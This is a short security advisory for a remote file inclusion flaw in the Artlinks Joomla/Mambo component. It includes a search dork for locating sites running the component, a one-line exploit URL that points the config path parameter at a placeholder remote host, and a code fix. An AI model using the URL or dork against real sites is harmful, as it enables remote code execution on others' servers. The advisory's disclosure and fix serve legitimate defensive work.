Joomla! Component Artlinks 1.0b4 - Remote File Inclusion

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  Affected Application: Artlinks v1.0 Beta 4

       (Mambo/Joomla CMS Component)


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  Discoverd by: camino

  Team: Insecurity Research Team

  URL: http://www.insecurityresearch.org

  E-Mail: camino[at]sexmagnet[dot]com



 . . :[ insecure application details ]: . . . . . . . . . . . . . . . . .


  Typ: Remote [x]  Local [ ]

       Remote File Inclusion [x]  SQL Injection [ ]

  Level: Low [ ]  Middle [ ]  High [x]

  Application: Artlinks

  Version: 1.0 Beta 4

  Vulnerable File: artlinks.dispnew.php

  URL: http://www.duswald.de

  Description: It's a component which creates linklists for various

               categories with a screenshot and description.

  Dork: inurl:"com_artlinks"



 . . :[ exploit ]: . . . . . . . . . . . . . . . . . . . . . . . . . . .


  http://[sitepath]/[joomlapath]/components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=http://huh?


 . . :[ how to fix ]: . . . . . . . . . . . . . . . . . . . . . . . . . .


  o1.) open artlinks.dispnew.php

  o2.) take a look at line 12:

         require($mosConfig_absolute_path."/administrator/components/

         com_artlinks/config.artlinks.php");

  o3.) add the following line before line 12:

         defined( '_VALID_MOS' ) or die( 'Direct Access to this location

         is not allowed.' );

  o4.) done!



 . . :[ greets ]: . . . . . . . . . . . . . . . . . . . . . . . . . . . .


  my girlfriend, brOmstar, ACiDAngel, PoKi, Waze and all the sexy members

  of insecurity research team ;-)

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